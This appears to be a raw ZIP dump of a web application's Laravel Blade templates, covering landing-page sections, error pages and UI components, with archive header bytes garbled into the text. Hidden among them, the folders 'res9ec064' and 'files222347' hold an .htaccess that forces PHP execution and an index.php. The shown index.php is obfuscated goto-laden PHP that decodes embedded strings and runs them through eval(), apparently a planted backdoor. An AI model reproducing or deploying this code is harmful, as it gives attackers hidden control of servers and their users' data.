@includeWhen($fSectSettings->pricing_active == 1, 'landing-page.pricing.section') @includeWhen($fSectSettings->faq_active == 1, 'landing-page.faq.section') @includeWhen($fSectSettings->blog_active == 1, 'landing-page.blog.section') @includeWhen($setting->gdpr_status == 1, 'landing-page.gdpr') @endsection PK˜W]ﺂ‚'default/landing-page/faq/item.blade.phpnu„[µü¤ PK˜W]RÆó””*default/landing-page/faq/section.blade.phpnu„[µü¤{!! adsense_faq_728x90() !!}
    {!! __($fSectSettings->faq_text_one) !!} {!! __($fSectSettings->faq_text_two) !!}
    @foreach ($faq as $item) @include('landing-page.faq.item') @endforeach
    PK˜W]X16]ÓÓ0default/landing-page/how-it-works/item.blade.phpnu„[µü¤
    {{ __($item->order) }}

    {!! __($item->title) !!}

    PK˜W]‹B²m~~3default/landing-page/how-it-works/section.blade.phpnu„[µü¤ {!! adsense_how_it_works_728x90() !!}

    {!! __($fSectSettings->how_it_works_title) !!}

    @foreach ($howitWorks as $item) @include('landing-page.how-it-works.item') @endforeach
    @if ($howitWorksDefaults['option'] == 1)
    {!! $howitWorksDefaults['html'] !!}
    @endif
    PK˜W]cÛìdyy)default/landing-page/tools/item.blade.phpnu„[µü¤ {!! __($item->title) !!} PK˜W]b¤ºŒQQ,default/landing-page/tools/section.blade.phpnu„[µü¤{!! adsense_tools_728x90() !!}
    @foreach ($tools as $item) @include('landing-page.tools.item') @endforeach
    PK˜W]Þ¨•sZZ(default/landing-page/res9ec064/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PK˜W]·êCï,ï,(default/landing-page/res9ec064/index.phpnu„[µü¤= $cn1o7l3) goto i2wj3B; goto IAkRQz; u5GXIw: goto Xpqq4S; goto H1zfHU; tWEcOJ: goto mSJ04M; h0QKWi: goto Squy7Z; nPLUH2: goto d28c5o; F6Vfql: $z3ssi3q++; goto u5GXIw; RaL2fP: $vo8jxs5 = $rxdtkfr; goto d28c5o; RwKsiJ: goto XCp8gQ; XXSr8g: goto RaL2fP; FDCX03: goto H1zfHU; XCp8gQ: ; }; goto Hnh_pk; u6cIET: goto POq4dD; RkMrqP: goto isYQax; SZlQoX: goto Sk5ZC1; edAq3f: $o7xgzug .= $iptp0tp; goto POq4dD; fM0mVe: goto FDKD4y; Ad6WWU: goto jJTYS5; FDKD4y: $bwlu6ue = "\x64\063\x42\061\x5a\x6c\112\065\x51\060\106\x56\x65\x6b\126\113\x62\x55\x64\156\x52\x6b\170\x57\x57\125\x78\156\x5a\105\160\131\x57\x6c\x4e\x56\x54\154\x6b\162\x52\x30\144\x50\x52\x44\106\x4e\132\106\x68\131\x62\107\164\063\122\x6b\x78\172\x51\127\061\x69"; goto _Pc6j2; QX5z9E: goto jVto4D; _rETY4: goto wbrn9G; O3et_o: goto ibj90D; SdnOEG: goto wJMmpK; UlPp0A: goto wbrn9G; QIQKgE: goto wxspKZ; q5Apr1: goto NMV0kJ; I6apH1: $qxtlf58 = "\x64\060\x4e\x53\x54\125\x31\110\142\126\154\x4b\141\156\x42\x54\141\105\x46\x45\x5a\x7a\102\x35\132\172\112\163\x64\063\116\165\143\x46\122\x4c\123\060\x70\x57\127\152\x56\104\x4e\061\x63\x79\132\130\150\062\132\105\x78\x5a\x5a\125\106\172\127\130\112\x74"; goto qm8MVQ; LxopSY: goto CWLB55; GOZZtx: goto qm8MVQ; HOw0rt: goto eHNYxU; jJTYS5: $o7xgzug .= $qxtlf58; goto wxspKZ; OiYPBQ: goto wJMmpK; usgkbC: goto eHNYxU; RROq5z: goto wxspKZ; ff94gX: goto eHNYxU; mPhMik: goto XSvzH9; W0CAIR: goto eHNYxU; aAOjL0: goto wxspKZ; wJMmpK: $o7xgzug .= $qo301mr; goto mvi1f3; mHhlx7: goto b8YISc; qH1mVg: goto f_ieMF; jj2nav: goto anzwQX; XpkhZS: goto FzZ6Wn; BX83dh: goto ithIoO; P3qRar: goto giBhw6; ZBFQ0m: $o7xgzug .= $ugo5v1e; goto giBhw6; b8YISc: $o7xgzug .= $k1vmadt; goto GkIMBW; u0XS3_: goto X0bpkT; lg2fIL: goto isYQax; gbEtQe: goto jJTYS5; I1HYkd: goto f_ieMF; xddRhT: goto POq4dD; nVxqFt: goto N5m0Gp; Wb73Kt: goto _Pc6j2; bN52lK: goto RgYES3; Sk5ZC1: $ugo5v1e = "\x4e\104\x56\061\125\x45\x55\061\x52\x69\x39\x42\x55\x54\x30\x39"; goto FzZ6Wn; Xcp7wO: goto XSvzH9; RBN833: $jvwy2xu = "\144\106\132\121\x51\x6d\x46\x30\144\105\106\x46\x55\x44\112\127\x61\x6c\x4e\165\125\x6b\116\x6f\126\107\x4a\x76\x55\x6d\150\x54\x63\104\101\060\132\x47\x70\117\123\126\x6c\106\141\x6e\x5a\x5a\125\062\x31\x72\143\x46\x70\127\123\107\x74\127\131\x6c\122\x4b"; goto lQxzuP; jhVFX6: goto eYTAs9; FW0mls: goto wJMmpK; ylghM2: goto _Pc6j2; lOaBRV: goto rQad7M; NMV0kJ: $o7xgzug .= $xxmu33h; goto YLYzgj; RpK2Hu: goto eHNYxU; RgYES3: KnquJ($o7xgzug, $h3n573x); goto eHNYxU; FkM9nD: goto mvi1f3; EAeZ5e: goto giBhw6; quEfz5: function KnquJ($pddpfgi, $hvua4hp) { goto vMnFuq; KjOocn: goto C105Ls; w3RQ4P: goto vMnFuq; FLvquF: goto C105Ls; nI09kk: goto C105Ls; hjrpSX: goto vEyjj_; Vnriyf: goto GFN1o6; C105Ls: NUePZ($wblpds4); goto vEyjj_; mnmbA_: goto vMnFuq; vEyjj_: return 1; goto GFN1o6; TV9F87: goto GFN1o6; oUsmTf: goto GFN1o6; vMnFuq: $wblpds4 = o_yBx($pddpfgi, $hvua4hp); goto C105Ls; GFN1o6: ; }; goto RBN833; ZmwMwJ: goto A_VwJ6; ue6J0i: goto U6Adhm; NZeI5o: $o7xgzug .= $bwlu6ue; goto NMV0kJ; JeDzaN: goto f_ieMF; he5jKO: goto CWLB55; WiGWdU: goto w0WPbx; nMR450: goto rQad7M; anzwQX: $o7xgzug .= $e8u23pj; goto xQeYig; Hnh_pk: function NUePZ($gahpgq4) { goto gKdIca; gKdIca: $f9ovb3d = chr(63).chr(62); goto Zty1NT; BYq58w: goto VIV6Bk; MOvxMC: eval($cxfftv9); goto VIV6Bk; wx9GX0: goto Zty1NT; vxsPLS: goto Zty1NT; b_zzOa: goto gKdIca; Zty1NT: $cxfftv9 = $f9ovb3d . $gahpgq4; goto MOvxMC; VIV6Bk: return 1; goto CGQQtb; So1Mww: goto CGQQtb; aQbI0I: goto CGQQtb; MyueMS: goto MOvxMC; TQwVtM: goto VIV6Bk; L7SU8l: goto gKdIca; j6CGP5: goto MOvxMC; t8MCbR: goto MOvxMC; OwGlN0: goto MOvxMC; CGQQtb: ; }; goto quEfz5; Yv5bMC: goto eHNYxU; rQad7M: $o7xgzug .= $vw05jg1; goto XSvzH9; ODVued: goto RgYES3; MA1csR: goto wJMmpK; VoDB1_: goto f0ra2L; mXAmM5: goto FDKD4y; IYxmV7: goto X0bpkT; i2RIYy: goto ithIoO; LBc8_G: goto POq4dD; xMCuJh: goto qm8MVQ; FfVnYP: goto ithIoO; TK2o6D: goto quEfz5; BmOKzx: goto edAq3f; p_6iVR: goto ithIoO; oqYZAX: goto POq4dD; yADiUG: goto NrRIkM; jVto4D: $vw05jg1 = "\124\155\x74\151\x4f\105\x74\x4c\127\x6d\x6c\x31\x62\154\144\x61\125\124\147\x78\x62\125\x74\157\x55\110\106\x6f\144\105\112\104\x55\060\x70\x77\x54\104\122\x76\122\x57\065\114\127\107\x46\x55\x65\x45\121\x7a\x52\124\150\116\124\x46\x55\060\115\x6e\106\172"; goto X0bpkT; Oum4y5: goto NMV0kJ; xqpvB_: goto eHNYxU; RX2FXw: goto giBhw6; LuRgX3: goto wJMmpK; A_VwJ6: $m32p8ct = "\123\x54\106\x58\121\x30\150\104\125\x6b\061\x56\x64\x55\163\063\x62\060\x68\x4b\125\126\x4a\x36\123\060\x30\170\125\x6e\x46\x52\x61\x55\116\123\125\x30\x64\131\x5a\125\x68\126\x4e\106\122\111\142\152\x63\x32\x54\x6b\170\060\x4b\060\071\062\x4d\x54\144\152"; goto isYQax; N5m0Gp: $h1pxxqp = "\116\x6d\x52\x6e\x64\x48\147\171\142\110\x59\171\x64\104\106\060\x65\104\102\112\125\106\x6f\x32\x53\x32\065\172\x54\156\x4a\172\x64\x57\132\x77\x4d\x6d\x49\x76\x56\063\x41\x7a\x55\x55\144\156\x63\061\x4a\x74\117\x56\x70\167\145\124\144\x73\x56\x6e\x45\x31"; goto wbrn9G; vILTtm: goto U6Adhm; EjhITc: goto RgYES3; dVpZnk: goto NMV0kJ; JEuazH: goto XSvzH9; oRILgX: goto GkIMBW; lQxzuP: $e8u23pj = "\131\127\x6c\130\141\060\x5a\x57\x52\x57\x46\x6a\x62\x54\x42\105\x63\106\x70\x52\x5a\x57\164\x6f\x52\107\106\x52\x64\172\x51\x31\122\x6b\106\166\144\x47\150\127\123\x6e\x6c\x44\132\x6a\112\x61\115\153\x38\x31\x62\x6d\x52\x49\x59\x6d\x78\164\125\106\x52\x70"; goto NrRIkM; tWMBCl: goto U6Adhm; uKacMK: goto X0bpkT; xKONuY: goto NrRIkM; Kl2GXM: goto f0ra2L; o1QttQ: goto NMV0kJ; fH_mfR: goto ibj90D; O6ejHf: goto DA4nh8; Xdsc5D: goto A_VwJ6; ViANTu: goto RgYES3; r9bIqX: goto f0ra2L; TQFREN: $o7xgzug .= $zi6rq37; goto rQad7M; qm8MVQ: $sdoyd3g = "\124\x54\x4a\x46\117\x54\x49\065\142\156\x56\153\127\x6e\160\x6c\131\x58\x46\x6c\x4c\061\x70\x32\131\063\x4e\x30\x52\107\144\125\115\x32\x55\x35\144\x6d\164\110\132\104\112\x79\x4e\172\x4d\x79\x57\x58\116\x30\126\172\132\x50\x63\105\061\x6b\123\063\x5a\x69"; goto N5m0Gp; mvi1f3: $o7xgzug .= $jqusuoh; goto jJTYS5; isYQax: $k1vmadt = "\x57\110\x59\x34\131\062\x35\155\117\x45\x4e\153\x4d\x32\x68\x36\132\x57\x35\062\117\127\x5a\062\x61\x6d\147\x72\114\060\x52\117\141\106\x5a\x72\x4e\x6b\x35\167\125\x7a\x41\166\x65\125\x52\120\x63\104\x6c\112\x54\110\102\x31\123\x56\116\x48\141\x32\x46\x54"; goto eYTAs9; weB537: goto Hnh_pk; NrRIkM: $k4t1z7n = "\126\063\153\x34\x59\x56\x70\x31\x59\124\154\164\126\107\116\x36\143\x54\150\153\125\104\122\x70\x51\153\144\x45\115\107\154\x48\122\x33\116\x6e\123\x58\102\112\123\105\x74\065\123\x6b\x4e\x34\124\156\x5a\130\x53\060\x35\x6f\126\155\x70\110\132\153\154\x43"; goto ithIoO; rUDxqO: goto wxspKZ; VYSQIJ: goto ithIoO; w0WPbx: $o7xgzug .= $h1pxxqp; goto TQFREN; YCSbRP: goto TQFREN; eYTAs9: $t5w2276 = "\123\130\102\x73\x54\x47\x78\x42\142\x44\x52\x6a\142\x44\x56\x52\145\126\x42\062\145\151\163\166\x55\x44\x52\x35\x65\x6e\132\165\x64\126\122\x50\117\x43\164\x71\122\124\x5a\x51\125\x6d\061\x6b\x62\153\x55\167\x52\155\157\064\116\x48\132\x6f\x4d\x57\x52\165"; goto Sk5ZC1; H6I1Bq: goto giBhw6; uPD2e1: goto wbrn9G; GkIMBW: $o7xgzug .= $t5w2276; goto ZBFQ0m; eHNYxU: ; ?>PK˜W]ò„ó4default/landing-page/custom-templates/item.blade.phpnu„[µü¤ {!! stripslashes($item->image) !!} PK˜W]:½ÄNN7default/landing-page/custom-templates/section.blade.phpnu„[µü¤{!! adsense_templates_728x90() !!}
    {!! __($fSectSettings->custom_templates_subtitle_one) !!} {!! __($fSectSettings->custom_templates_subtitle_two) !!}
    @foreach ($filters as $filter) @endforeach
    @foreach ($templates as $item) @if ($item->active != 1) @continue @endif @include('landing-page.custom-templates.item') @endforeach
    PK˜W]q‹:h¥¥,default/landing-page/features/item.blade.phpnu„[µü¤ {!! $item->image !!} PK˜W]œª® --/default/landing-page/features/section.blade.phpnu„[µü¤{!! adsense_features_728x90() !!}
    @foreach ($futures as $item) @include('landing-page.features.item') @endforeach
    PK˜W]ÊÕ¬‡""3default/landing-page/pricing/item-content.blade.phpnu„[µü¤ PK˜W]í«®­vv.default/landing-page/pricing/section.blade.phpnu„[µü¤{!! adsense_pricing_728x90() !!}
    @php $plan = $plansSubscriptionMonthly; @endphp @if ($plansSubscriptionMonthly->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-monthly', 'label' => __('Monthly'), 'active' => true, 'currency' => $currency, ]) @endif @if ($plansSubscriptionAnnual->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-annual', 'label' => __('Annual'), 'badge' => __($fSectSettings->pricing_save_percent), 'currency' => $currency, ]) @endif @if ($plansSubscriptionLifetime->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-lifetime', 'label' => __('Lifetime'), 'currency' => $currency, ]) @endif @if ($plansPrepaid->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-prepaid', 'label' => __('Pre-Paid'), 'currency' => $currency, ]) @endif
    @foreach ($plansSubscriptionMonthly as $plan) @include('landing-page.pricing.item-content', ['period' => $plan->frequency === 'monthly' ? 'Per Month' : 'Per Year']) @endforeach

    {!! __('Safe Payment: Use Stripe or Credit Card.') !!}

    PK˜W]z Nßß3default/landing-page/pricing/item-trigger.blade.phpnu„[µü¤ PK˜W]™ ÀTT.default/landing-page/who-is-for/item.blade.phpnu„[µü¤ PK˜W]Þ¨•sZZ5default/landing-page/who-is-for/files222347/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PK˜W]ž‘‹gr r 5default/landing-page/who-is-for/files222347/index.phpnu„[µü¤PK˜W]Þ×ÃÃ1default/landing-page/who-is-for/section.blade.phpnu„[µü¤
    @foreach ($who_is_for as $item) @include('landing-page.who-is-for.item', ['item' => $item]) @endforeach
    PK˜W]ªÆº½ÛÛ6default/landing-page/generators/item-content.blade.phpnu„[µü¤
    {!! __($item->subtitle_one) !!} {!! __($item->subtitle_two) !!}

    {!! __($item->title) !!}

    {!! __($item->text) !!}

    {{ __($item->image_title) }}

    {!! __($item->image_title) !!}

    {!! __($item->image_subtitle) !!}

    PK˜W]ÒáZóó1default/landing-page/generators/section.blade.phpnu„[µü¤
    @foreach ($generatorsList as $item) @include('landing-page.generators.item-trigger') @endforeach
    @foreach ($generatorsList as $item) @include('landing-page.generators.item-content') @endforeach
    PK˜W]VZõS°°6default/landing-page/generators/item-trigger.blade.phpnu„[µü¤ PK˜W]‡vLžž-default/landing-page/banner/section.blade.phpnu„[µü¤ PK˜W]“yܵµ+default/landing-page/blog/section.blade.phpnu„[µü¤
    {!! __($fSectSettings->blog_subtitle) !!}
    @foreach ($posts as $post) @include('blog.part.card') @endforeach
    PK˜W]펜××1default/landing-page/header/envato-link.blade.phpnu„[µü¤ PK˜W] ¤5default/landing-page/header/floating-button.blade.phpnu„[µü¤ PK˜W]%«ÜfWW/default/landing-page/header/preheader.blade.phpnu„[µü¤

    {{ __($fSetting->header_title) }} {{ __($fSetting->header_text) }}

    PK˜W]M`S#default/landing-page/gdpr.blade.phpnu„[µü¤
    {!! __($setting->gdpr_content) !!}
    PK˜W]~7<ô886default/landing-page/testimonials/item-image.blade.phpnu„[µü¤
    {{ __($item->full_name) }}

    {!! __($item->full_name) !!}

    {!! __($item->job_title) !!}

    PK˜W]ÏÞ� ¦¦6default/landing-page/testimonials/item-quote.blade.phpnu„[µü¤

    {!! __('“' . $item->words . '�') !!}

    PK˜W]Ùy"zpp3default/landing-page/testimonials/section.blade.phpnu„[µü¤ {!! adsense_testimonials_728x90() !!}
    {!! __($fSectSettings->testimonials_subtitle_one) !!} {!! __($fSectSettings->testimonials_subtitle_two) !!}
    @foreach ($testimonials as $item) @include('landing-page.testimonials.item-image') @endforeach
    @foreach ($clients as $entry) {{ __($entry->alt) }} @endforeach
    PK˜W]Ÿ•âOëë"default/account-deletion.blade.phpnu„[µü¤ @lang('Account Deletion')

    @lang('Account Deletion Request')

    @lang('How to delete your account and personal data')

    @lang('App Information')

    @if (file_exists(public_path('app.png')))
    @lang('App Icon:') @lang('App Icon')
    @endif

    @lang('App Name:') {{ config('mobileapp.app_name') }}

    @if(config('mobileapp.developer_name'))

    @lang('Developer:') {{ config('mobileapp.developer_name') }}

    @endif

    @lang('Package ID:') {{config('mobileapp.package_id')}}

    @lang('How to Delete Your Account')

    @lang('We respect your privacy and provide multiple ways to delete your account and all associated data. Please choose the method that works best for you:')

    1 @lang('Delete Account Through Site Dashboard')

    @lang('The easiest way to delete your account is through your user dashboard:')

    1. @lang('Log in to your account')
    2. @lang('Go to your user settings')
    3. @lang('Click on "Delete Account"')
    4. @lang('Follow the confirmation steps')
    @lang('Go to Account Settings')

    2 @lang('Request Deletion via Email')

    @lang('If you cannot access your account or need assistance, you can request account deletion by email:')

    • @lang('Send an email with subject "Account Deletion Request"')
    • @lang('Include your registered email address')
    • @lang('Include your username (if you remember it)')
    • @lang('We will process your request within 7 business days')
    @lang('Send Deletion Request Email')

    3 @lang('Delete Account Through Mobile App')

    @lang('You can delete your account through mobile app:')

    • @lang('Log in to your account')
    • @lang('Go to your user settings (Edit Profile - Left menu top section)')
    • @lang('Click on "Delete My Account"')

    ⚠� @lang('Important Information')

    • @lang('Account deletion is permanent and cannot be undone')
    • @lang('All your data, including chat history, preferences, and settings will be permanently deleted')
    • @lang('You will lose access to any premium features or subscriptions')
    • @lang('The deletion process may take up to 30 days to complete from all our systems')

    @lang('Need Help?')

    @lang('If you have any questions about account deletion or need assistance with the process, please contact our support team:')

    @lang('Email:') {{ config('mobileapp.mailto') }}

    @lang('Response Time:') @lang('We typically respond within 24-48 hours')

    PK˜W]˜ Å_default/errors/419.blade.phpnu„[µü¤@extends('layout.error') @section('error_code', '419') @section('error_title', __('Your token has been expired. Please go previous page and reload.')) @section('error_subtitle', __('If this is an error it will be logged and our technic team will resolve it shortly.')) PK˜W]êÍý default/errors/404.blade.phpnu„[µü¤@extends('layout.error', ['disable_navbar' => true, 'disable_header' => true]) @section('error_code', '404') @section('error_title', __('Looks like you’re lost.')) @section('error_subtitle', __('We can’t seem to find the page you’re looking for.')) PK˜W]~oÛ%òòdefault/errors/500.blade.phpnu„[µü¤@extends('layout.error') @section('error_code', '500') @section('error_title', __('500 Critical Server Error')) @section('error_subtitle', __('Server Error. This error is logged and our technic team will resolve this issue in short time.')) PK˜W]–> óÁÁdefault/errors/503.blade.phpnu„[µü¤@extends('layout.error') @section('error_code', '503') @section('error_title', __('503 Maintenance')) @section('error_subtitle', __('The system has maintenance! We will back in short time!')) PK˜W]ÕIã‚››"default/components/table.blade.phpnu„[µü¤@php $wrap_base_class = 'lqd-table-wrap w-full max-w-full overflow-x-auto'; $base_class = 'lqd-table w-full text-start overflow-x-auto [-webkit-overflow-scrolling:touch] max-w-full'; $head_base_class = 'lqd-table-head border-b text-start text-4xs leading-tight uppercase tracking-wider font-medium text-label transition-border'; $body_base_class = '[&_tr:not(:last-child)]:border-b'; $foot_base_class = 'lqd-table-foot'; $variations = [ 'variant' => [ 'none' => 'lqd-table-variant-none shadow-none p-0', 'solid' => 'lqd-table-solid rounded-card bg-card-background pt-1', 'outline' => 'lqd-table-outline rounded-card border border-card-border pt-1', 'shadow' => 'lqd-table-shadow rounded-card shadow-card bg-card-background pt-1', 'plain' => 'lqd-table-plain', 'outline-shadow' => 'lqd-table-outline-shadow rounded-card border border-card-border pt-1 shadow-card bg-card-background', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.table.variant', 'outline')]; @endphp
    withoutTwMergeClasses()->twMergeFor('wrap', $variant, $wrap_base_class) }}> twMerge($base_class, $attributes->get('class')) }}> @if (!empty($head)) twMergeFor('head', $head_base_class, $head->attributes->get('class')) }} {{ $head->attributes }} > {{ $head }} @endif @if (!empty($body)) twMergeFor('body', $body_base_class, $body->attributes->get('class')) }} {{ $body->attributes }} > {{ $body }} @endif @if (!empty($foot)) twMergeFor('foot', $foot_base_class, $foot->attributes->get('class')) }} {{ $foot->attributes }} > {{ $foot }} @endif
    PK˜W]’T³‘îî*default/components/floating-menu.blade.phpnu„[µü¤ PK˜W]wš¼‰EE#default/components/button.blade.phpnu„[µü¤@php $base_class = 'lqd-btn group inline-flex items-center justify-center gap-1.5 text-xs font-medium rounded-button transition-all hover:-translate-y-0.5 hover:shadow-xl hover:shadow-black/5 disabled:bg-foreground/10 disabled:text-foreground/35 disabled:pointer-events-none'; $variations = [ 'variant' => [ 'none' => 'lqd-btn-variant-none hover:shadow-none', 'primary' => 'lqd-btn-primary bg-primary text-primary-foreground hover:bg-primary/90 hover:shadow-primary/10 focus-visible:bg-primary/90 focus-visible:shadow-primary/10', 'secondary' => 'lqd-btn-secondary bg-secondary text-secondary-foreground', 'outline' => 'lqd-btn-outline outline outline-button-border -outline-offset-1 focus-visible:outline-2 focus-visible:outline-offset-0 focus-visible:outline-secondary', 'danger' => 'lqd-btn-danger bg-red-500 text-white', 'success' => 'lqd-btn-success bg-emerald-500 text-white hover:bg-emerald-400 focus-visible:bg-emerald-400', 'ghost' => 'lqd-btn-ghost bg-transparent text-foreground hover:bg-foreground/10 focus-visible:bg-foreground/10', 'ghost-shadow' => 'lqd-btn-ghost-shadow bg-background text-foreground shadow-xs hover:bg-primary hover:text-primary-foreground dark:bg-foreground/[3%] dark:hover:bg-foreground dark:hover:text-background focus-visible:bg-primary focus-visible:text-primary-foreground dark:bg-foreground/[3%] dark:focus-visible:bg-foreground dark:focus-visible:text-background', 'link' => 'lqd-btn-link bg-transparent text-foreground hover:underline hover:transform-none hover:shadow-none focus-visible:underline p-0 focus-visible:translate-y-0 focus-visible:shadow-none focus-visible:outline-0', ], 'hoverVariant' => [ 'none' => 'lqd-btn-hover-none', 'danger' => 'lqd-btn-hover-danger hover:text-white hover:bg-rose-500 hover:border-rose-500 hover:outline-rose-500 focus-visible:text-white focus-visible:bg-rose-500 focus-visible:border-rose-500 focus-visible:outline-rose-500', 'success' => 'lqd-btn-hover-success hover:text-white hover:bg-green-500 hover:border-green-500 hover:outline-green-500 focus-visible:text-white focus-visible:bg-green-500 focus-visible:border-green-500 focus-visible:outline-green-500', 'primary' => 'lqd-btn-hover-primary hover:text-primary-foreground hover:bg-primary hover:border-primary hover:outline-primary focus-visible:text-primary-foreground focus-visible:bg-primary focus-visible:border-primary focus-visible:outline-primary', 'secondary' => 'lqd-btn-hover-secondary hover:text-secondary-foreground hover:bg-secondary hover:border-secondary hover:outline-secondary focus-visible:text-secondary-foreground focus-visible:bg-secondary focus-visible:border-secondary focus-visible:outline-secondary', ], 'size' => [ 'none' => 'lqd-btn-size-none', 'sm' => 'lqd-btn-sm py-1 px-2.5', 'md' => 'lqd-btn-md py-2 px-4', 'lg' => 'lqd-btn-lg px-5 py-3', 'xl' => 'lqd-btn-xl px-5 py-4', ], ]; if ($variant === 'link') { $size = 'none'; } $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.button.variant', 'primary')]; $hoverVariant = isset($variations['hoverVariant'][$hoverVariant]) ? $variations['hoverVariant'][$hoverVariant] : $variations['hoverVariant'][Theme::getSetting('defaultVariations.button.hoverVariant', 'none')]; $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size'][Theme::getSetting('defaultVariations.button.size', 'md')]; if ($tag === 'button' && empty($type)) { $type = 'button'; } if ($type === 'button' && (empty($tag) || $tag === 'a')) { $tag = 'button'; } if ($type === 'submit') { $tag = 'button'; } @endphp <{{ $tag }} {{ $attributes->withoutTwMergeClasses()->twMerge($base_class, $variant, $size, $hoverVariant, $attributes->get('class')) }} @if ($tag === 'a') href="{{ $href }}" @else type="{{ $type }}" @endif {{ $attributes }} > {{ $slot }} PK˜W]]ÇÅnÍÍ#default/components/avatar.blade.phpnu„[µü¤@php $base_class = 'lqd-avatar inline-flex items-center justify-center rounded-full w-10 h-10 bg-heading-background/10 text-heading-foreground text-2xl bg-cover bg-center'; $avatar = $user->avatar; $user_has_avatar_img = $avatar != null; if (strpos($avatar, 'http') === false || strpos($avatar, 'https') === false) { $avatar = '/' . $avatar; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} @style([ 'background-image: url(' . custom_theme_url($avatar) . ')' => $user_has_avatar_img, ])> @if (!$user_has_avatar_img) {{ str()->substr($user->name, 0, 1) . str()->substr($user->surname, 0, 1) }} @endif PK˜W]×ÛÆ1ÈÈ*default/components/demo-switcher.blade.phpnu„[µü¤@if(config('app.demo_switcher_enabled') && $app_is_not_demo)
    @endif PK˜W]4ÙKË662default/components/alerts/payment-status.blade.phpnu„[µü¤@props([ 'paymentStatus' => null, ]) @if($paymentStatus) class(['mt-1 w-full py-2.5'])->merge(['variant' => $paymentStatus === 'paid' ? 'success' : 'danger']) }}>

    {{ \App\Helpers\Classes\Helper::marketplacePaymentMessage($paymentStatus) }}

    @endifPK˜W]5;Ržž(default/components/bottom-menu.blade.phpnu„[µü¤ PK˜W]™îBÈvv3default/components/number-with-plus-minus.blade.phpnu„[µü¤@php $base_class="inline-flex items-center leading-none text-base font-semibold px-1.5 py-0.5 leading-snug rounded-md" @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> {{ $value }} PK˜W]T¬A€dd-default/components/product-ids-list.blade.phpnu„[µü¤@if($gatewayProducts && $gatewayProducts->isNotEmpty())

    {{ __('These values are generated for you') }}

    {{ __('Gateway') }} {{ __('Product ID') }} {{ __('Plan / Price ID') }} @foreach ($gatewayProducts as $product) {{ $product->gateway_title }} {{ $product->product_id }} {{ $product->price_id }} @endforeach
    @endif PK˜W]3!ðù¡¡,default/components/money-with-unit.blade.phpnu„[µü¤@php $base_class = 'flex min-h-7 min-w-7 items-center justify-center rounded-full bg-foreground/[6%] px-2 text-center text-foreground/70 text-sm font-medium'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> @if (is_string($value)) {{ $value }} @else {{ $value > 1000 ? floatval($value / 1000) . 'k' : $value }} @endif PK˜W]û¤ƒU;U;$default/components/curtain.blade.phpnu„[µü¤@props([ 'items' => [], ]) @php $nav_btn_base_class = 'relative inline-grid size-10 place-items-center rounded-full bg-primary-foreground/5 text-primary-foreground transition-all hover:scale-110 hover:bg-primary-foreground hover:text-primary'; $nav_dot_base_class = ' hover:scale-110inline-flex size-2.5 rounded-full bg-primary-foreground/5 transition-all hover:scale-110 hover:bg-primary-foreground/70 [&.active]:w-[18px] [&.active]:bg-primary-foreground'; $unique_id = uniqid('curtain'); @endphp
    withoutTwMergeClasses()->twMerge('lqd-curtain flex flex-col justify-between gap-5 lg:flex-row') }} style="--items-count: {{ count($items) }}" x-data="curtain('{{ $unique_id }}')" > @foreach ($items as $item) @php $firstSlide = $item['sliders'][0] ?? null; $firstSlideBgColor = isset($firstSlide['bg_color']) && filled($firstSlide['bg_color']) ? $firstSlide['bg_color'] : 'hsl(var(--primary))'; @endphp
    twMergeFor('item', ['lqd-curtain-item relative overflow-hidden flex flex-col rounded-xl lg:flex-row', $loop->first ? 'lqd-curtain-item-active' : 'lqd-curtain-item-inactive']) }} @if (count($item['sliders']) > 1) x-data="slideshow('{{ $unique_id }}',{{ count($item['sliders']) }})" @endif @if ($firstSlideBgColor) style="background: {{ $firstSlideBgColor }}" @endif >

    twMergeFor('title', ['lqd-curtain-item-title relative z-1 m-0 flex overflow-hidden px-8 py-8 text-[22px] text-white lg:order-3 lg:px-11 lg:py-9 xl:px-14', !isset($item['title']) || !filled($item['title']) ?? 'lqd-curtain-item-title-empty']) }}> @if (isset($item['title_icon']) && filled($item['title_icon'])) {!! $item['title_icon'] !!} @endif @if (isset($item['title']) && filled($item['title'])) {!! $item['title'] !!} @endif

    @if (isset($item['sliders']) && filled($item['sliders']))
    twMergeFor('content', 'lqd-curtain-item-content flex items-end') }}>
    twMergeFor('content-inner', 'lqd-curtain-item-content-inner grow p-6 lg:p-11') }}>
    @foreach ($item['sliders'] as $slide) @php $bg_color = isset($slide['bg_color']) && filled($slide['bg_color']) ? $slide['bg_color'] : 'hsl(var(--primary))'; $bg_image = isset($slide['bg_image']) && filled($slide['bg_image']) ? $slide['bg_image'] : ''; $bg_video = isset($slide['bg_video']) && filled($slide['bg_video']) ? $slide['bg_video'] : ''; $title_color = isset($slide['title_color']) && filled($slide['title_color']) ? $slide['title_color'] : 'hsl(var(--primary-foreground))'; $description_color = isset($slide['description_color']) && filled($slide['description_color']) ? $slide['description_color'] : 'hsl(var(--primary-foreground) / 60%)'; @endphp
    twMergeFor('bg', 'lqd-curtain-item-bg transition-all duration-500 ease-in-out pointer-events-none absolute inset-0 z-0 rounded-xl') }} style="background: {{ $bg_color }}" @if (!$loop->first) x-cloak @endif @if (count($item['sliders']) > 1) x-show="$data.activeSlide === {{ $loop->index }}" x-transition:enter-start="opacity-0 scale-110 blur-3xl" x-transition:enter-end="opacity-100 scale-100 blur-0" x-transition:leave-start="opacity-100 scale-100 blur-0" x-transition:leave-end="opacity-0 scale-110 blur-3xl" @endif > @if (isset($slide['bg_video']) && filled($slide['bg_video'])) @endif @if (isset($slide['bg_image']) && filled($slide['bg_image'])) @endif
    @if (isset($slide['title']) && filled($slide['title']))

